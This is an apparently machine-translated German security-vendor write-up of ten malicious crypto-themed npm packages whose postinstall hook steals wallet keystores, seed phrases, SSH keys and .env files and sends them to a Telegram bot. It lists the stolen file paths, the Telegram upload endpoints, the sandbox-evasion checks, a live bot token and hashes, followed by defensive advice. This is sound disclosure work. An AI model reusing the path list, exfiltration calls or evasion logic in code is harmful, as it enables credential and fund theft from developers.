SeedSweep: Zehn bösartige npm-Kryptopakete

SeedSweep: Zehn Krypto-bezogene npm-Pakete, die nur laufen, wenn niemand zuschaut

TL; DR

Am 9. Juni 2026 wird ein einzelnes npm-Publisher-Konto erstellt. aicrypto-xzggg, versendet zehn Pakete mit Namen, die an Krypto und Web3 erinnern — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9und sechs weitere.

Jedes Paket führt die gleiche Nutzlast von einem postinstall Hook. Bei der Installation prüft es, ob es in einer CI-Umgebung oder einer Sandbox läuft – falls nicht, liest es Wallet-Keystores, Seed-Phrasen-Dateien, SSH-Schlüssel und .env Dateien aus sechs verschiedenen Blockchain-Ökosystemen werden gesammelt und an einen Telegram-Bot übermittelt.

Der einzige Indikator, nach dem ein Verteidiger sofort suchen kann, ist die Telegram-Bot-ID. 8227918239.

Severity: kritischem — direkter Diebstahl von Signaturschlüsseln und Wiederherstellungsphrasen von Entwickler-Workstations.

Der Angriff: Wie er funktioniert

Die Pakete bewerben sich selbst als Blockchain-Entwickler-Dienstprogramme. paket.json ist minimal und verweist den Installationslebenszyklus auf ein Skript:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

scripts/postinstall.js ist ein einzeiliger Shim, der die eigentliche Nutzlast lädt: require("../src/index.js"). weil Nachinstallation läuft automatisch während npm installierenEs ist kein Codeimport durch den Entwickler erforderlich – es genügt, das Paket in einen Abhängigkeitsbaum einzufügen, um es auszuführen.

Die Tötungskette im Inneren src / index.js besteht aus vier Schritten:

  1. Umgebungsprüfung. Eine Schutzfunktion entscheidet, ob der Host wie ein Build-Agent oder eine Analyse-Sandbox aussieht.
  2. Verzögern. Die Ausführung wird verzögert setTimeout von ungefähr 7.4 Sekunden.
  3. Kollektion. Es wird eine feste Liste von Dateipfaden für Wallet, Schlüssel und Geheimnisse durchlaufen; vorhandene Dateien werden in eine Warteschlange gestellt.
  4. Exfiltration. Die in der Warteschlange befindlichen Dateien werden zusammen mit einer vorangestellten Zusammenfassungsnachricht an einen Telegram-Bot gesendet.

Die Liste der Sammlungsziele umfasst sechs Ketten sowie allgemeine Entwicklergeheimnisse. Gekürzt:

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Insgesamt einundzwanzig Pfade. Verzeichniseinträge wie beispielsweise ~/.ethereum/keystore werden entpackt und jede darin enthaltene Datei wird in eine Warteschlange gestellt. Die Datenexfiltration nutzt direkt die Telegram Bot API – eine Nachricht senden Anruf mit Host- und Dateizusammenfassung, dann ein sendDoc Mehrteil-Upload für jede Datei:

Text

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Die vom Code erstellte Zusammenfassungsmeldung beginnt mit der Zeichenkette Kryptodiebgefolgt von Hostname, Benutzername, Ursprungspaketname, Dateianzahl und Zeitstempel.

Was ist hier neu?

Der entscheidende Unterschied liegt nicht im Diebstahlmechanismus – dem Telegram-basierten Datenexfiltrierungsprozess von npm. Nachinstallation hooks ist viel begangen. Es ist der Ausführungstor. Bevor irgendetwas passiert, ruft die Payload eine Funktion auf, die „true“ zurückgibt, wenn der Host einem CI-Runner oder einer Sandbox ähnelt, und frühzeitig zurückkehrt, wenn dies der Fall ist:

Text

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Der reguläre Ausdruck für die Container-ID ist die bemerkenswerte Klausel: Ein 12-stelliger Hexadezimal-Hostname ist die Standardform, die Docker einem Container zuweist. ContainerDie Payload interpretiert die Tatsache, dass der Hostname einem Docker-Container ähnelt, als Grund, im Ruhezustand zu bleiben. In Kombination mit der siebensekündigen Verzögerung begünstigt das Design die Ausführung auf der realen Workstation eines Entwicklers und verhindert, dass Aktivitäten auffallen, die auf eine automatisierte Analyse hindeuten. Diese Barriere unterdrückte dynamische Analysesignale und sicherte den statischen Exfiltrationsfluss als primäres Beweismittel.

Geschichte

Datum (UTC)Event
2026-06-09 ~02:48Erste Pakete im Cluster, die bei der Veröffentlichung als gekennzeichnet wurden (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25Mitglieder mit höheren Versionsnummern wurden markiert (ethereum-kit-9 bei 1.25.36, wallet-sdk-9 um 3.7.73 Uhr)
2026-06-09 ~03:58–03:59Letzte Mitglieder markiert (defi-tools-39 bei 4.26.29, swap-sdk-87 bei 4.63.78, farming-tools-12 um 4.68.54 Uhr)
2026-06-09Alle zehn wurden als bösartig eingestuft und zur Entfernung aus der Registry gemeldet.

Alle zehn tauchten innerhalb von etwa siebzig Minuten auf, was mit einem einzigen, geplanten Veröffentlichungsvorgang von einem einzigen Account übereinstimmt.

Kompromissindikatoren

Netzwerk- und Verhaltensindikatoren (Host entschärft):

IndikatorWert
Exfil-Endpunktapi[.]telegram[.]org (Telegram Bot API)
Telegram-Bot-ID8227918239
Bot-Token8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
Telegram-Chat-ID6433587894
Haken montierenpostinstallscripts/postinstall.jssrc/index.js
MarkierungszeichenketteCRYPTO STEALER in der zusammengefassten Nachricht
Publisheraicrypto-xzggg (angegebene E-Mail) vipsyria88@gmail[.]com(unbestätigt)

Pakete und Versionen, jeweils mit dem SHA-256-Hash ihrer src / index.js Nutzdaten (die Nutzdaten sind funktional identisch und unterscheiden sich nur in der eingebetteten Paketnamensbezeichnung, daher ist jeder Hash eindeutig):

html
VerpackungVersionSHA-256-Hash von src/index.js
farming-tools-124.68.54b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-874.63.789d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-394.26.29ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-93.7.73ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-91.25.36c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-11.0.01147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-41.0.093c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-91.0.0db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-71.0.059f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-01.0.0053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Eine einfache Suchabfrage: Durchsuchen Sie Installationsprotokolle und Sperrdateien nach einem der zehn Namen und durchsuchen Sie den ausgehenden Datenverkehr nach Verbindungen zur Telegram Bot API von Build- oder Entwickler-Hosts, die diese sonst nicht verwenden.

Attribution und beobachtetes Verhalten

Alle zehn Pakete wurden von einem einzigen Account veröffentlicht. aicrypto-xzggg, dessen angegebene E-Mail-Adresse lautet vipsyria88@gmail[.]comSowohl die E-Mail-Adresse als auch der Link zur Quellcodeverwaltung sind in den Metadaten der Registry nicht verifiziert, und das Konto hat eine stark negative Reputation. Wir konnten nicht bestätigen, wer das Konto betreibt.

Zwei Details sind von jeder Identitätsbehauptung zu trennen. Erstens, die paket.json Autor Feld liest Alex Smith auf jedem Paket, während das eigentliche Veröffentlichungskonto ist aicrypto-xzgggDas Autorenfeld enthält selbstdeklarierte Metadaten und belegt keine Autorschaft. Zweitens variieren die Versionsnummern stark – einige Mitglieder befinden sich auf 1.0.0, andere bei 4.68.54 — was mit der Wiederverwendung einer einzigen Nutzlast für neu vergebene Paketnamen übereinstimmt, anstatt echte Versionshistorien zu pflegen.

Das Verhalten ist im gesamten Cluster einheitlich: dieselbe Zielpfadliste, dieselbe Telegram-Bot-ID und Chat-ID, dasselbe Umgebungsgate, dasselbe Kryptodieb Kennzeichen. Diese Einheitlichkeit ist das stärkste Bindeglied zwischen den Paketen. Es handelt sich um ein Signal des gleichen Operators, nicht um eine Identität.

Auswirkungen, Trends und Leitlinien für Verteidiger

Die Gefährdung ist konkret. Installiert ein Entwickler eines dieser Pakete auf einer Workstation, die eine Software-Wallet, eine Seed-Phrase-Datei oder einen SSH-Schlüssel enthält, werden diese Dateien innerhalb von Sekunden ausgelesen und vom Host übertragen. Wiederherstellungsphrasen und Signaturschlüssel verfallen nicht wie ein Sitzungstoken; sobald ein mnemonic.txt oder eine Solana id.json Verlässt der Automat die Maschine, sind die darin enthaltenen Gelder gefährdet, bis sie transferiert werden. Derselbe Lauf erfasst auch .env Dateien, die üblicherweise API-Schlüssel und Datenbankzugangsdaten enthalten.

Hinter diesem Cluster stehen zwei Trends. Erstens die anhaltende Verwendung von Namen mit Bezug zu Kryptografie und Web3, um eine spezifische Zielgruppe anzusprechen – Entwickler, die Wallets und Schlüssel auf demselben Rechner speichern, auf dem sie Abhängigkeiten installieren. Zweitens die zunehmende Ausgereiftheit von Methoden zur Sandbox-Umgehung in Installations-Payloads. Eine Überprüfung von CI-Umgebungsvariablen, Runner-Benutzernamen und der Struktur des Docker-Container-ID-Hostnamens ist ein bewusster Versuch, sich bei der Analyse anders zu verhalten als auf einer realen Workstation, und erhöht die Anforderungen an die rein dynamische Erkennung.

Für Verteidiger:

Installation mit standardmäßig deaktivierten Skripten. npm install --ignore-scripts, oder set ignore-scripts=true in .npmrcverhindert Nachinstallation Ausführung; Skripte nur für die spezifischen Abhängigkeiten aktivieren, die sie tatsächlich benötigen.

Bewahren Sie Wallets und Signaturschlüssel auf getrennten Build- und Entwicklungsrechnern auf. Verwenden Sie eine Hardware-Wallet oder einen dedizierten, unabhängigen Signaturhost.

BEHANDELN .envBehandeln Sie Schlüsselspeicher und Seed-Phrasen-Dateien wie Kronjuwelen. Sie sollten niemals in einem Verzeichnis abgelegt werden, das auch ein npm installieren Arbeitsbaum.

Suchen Sie nach ausgehenden Verbindungen zur Telegram Bot API von CI- und Entwickler-Hosts. Die meisten Build-Umgebungen rufen sie nie auf; eine, die dies plötzlich direkt nach der Installation tut, sollte untersucht werden.

Abhängigkeiten anheften und überprüfen. Ein brandneues Paket mit einem generischen Kryptonamen, ein Nachinstallation Hook und kein Repository-Link rechtfertigen eine Überprüfung, bevor sie in eine Sperrdatei gelangen.

Die Klausel zur Container-ID-Umgehung dient Analysten auch als Erinnerung: Eine Installationsnutzlast, die in einer Sandbox inaktiv bleibt, ist nicht harmlos, sondern selektiv. Die statische Überprüfung des Installationspfads ist weiterhin die zuverlässigste Methode, um zu erkennen, was bei dynamischer Ausführung möglicherweise nicht angezeigt wird.

Referenzen

npm install-Dokumentation – Lebenszyklusskripte und –Ignore-Skripte— Referenz zum Deaktivieren der automatischen Installation hooks. 

SCA-Tools-Software-Zusammensetzungs-Analyse-Tools
Priorisieren, beheben und sichern Sie Ihre Softwarerisiken
Sichern Sie sich Ihr kostenloses Konto.
Keine Kreditkarte erforderlich.

Sichern Sie Ihre Softwareentwicklung und -bereitstellung

mit der Xygeni-Produktsuite